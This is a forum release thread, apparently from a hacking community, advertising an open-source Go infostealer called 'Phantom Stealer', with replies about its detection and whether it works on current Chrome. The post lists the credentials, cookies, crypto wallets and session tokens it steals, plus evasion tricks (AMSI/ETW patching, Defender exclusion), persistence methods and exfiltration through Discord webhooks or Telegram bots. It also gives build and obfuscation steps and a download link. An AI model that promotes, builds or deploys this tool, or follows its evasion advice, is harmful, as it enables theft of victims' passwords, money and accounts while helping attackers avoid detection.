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[RELEASE] Phantom Stealer - Open Source Golang Infostealer (Browser/Crypto/Discord)

PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code


What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.


Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized


Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook


Download:
github. com/1rhino2/phantom-stealer


Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection


Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.


Questions? Reply below or check the GitHub issues.
works with latest chrome ver?
(Dec 9, 2025 10:58 AM)gerg61 Wrote:  works with latest chrome ver?

Indeed.
Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.


Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.
i will test it out
(Dec 10, 2025 06:28 AM)i am Wrote:  Very impressive contribution. Skeptic in me imagines it's backdoored but I'll take a look. Thank you.


Haven't found any backdoors. Document fetch works well but can confirm it didn't get any of my test browser passwords.

Sorry to hear, i'll work on fixing that. I haven't worked much with browsers so its my first time, I did some backup research, thought it would work.
Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms
(Dec 9, 2025 02:50 AM)1rhino2 Wrote:  PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code


What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.


Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized


Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook


Download:
github. com/1rhino2/phantom-stealer


Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection


Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.


Questions? Reply below or check the GitHub issues.

Fixing the issue
Ai Generated
(Dec 12, 2025 02:54 AM)wiener222213 Wrote:  Ai Generated

The code does appear to be that with the amount of comments but i could be wrong and it's still a good educational tool.
(Dec 11, 2025 05:42 AM)randomssa Wrote:  Bro I aint gonna lie ts highly detected even defender killed it on the spot for me. I reccomend scanning it in tip.neiki.dev for testing the payload against a bunch of common scanners/vms

I mean you shouldnt expect a free stealer to be ud
Very Nice
hello your miner very bad work, users not found in pool. 500 hashrate for 10 computer xd
this does NOT work on the latest chrome version
(Dec 9, 2025 01:34 PM)1rhino2 Wrote:  Indeed.

Have you managed to try it out yet?

would like to hear some objective opinion


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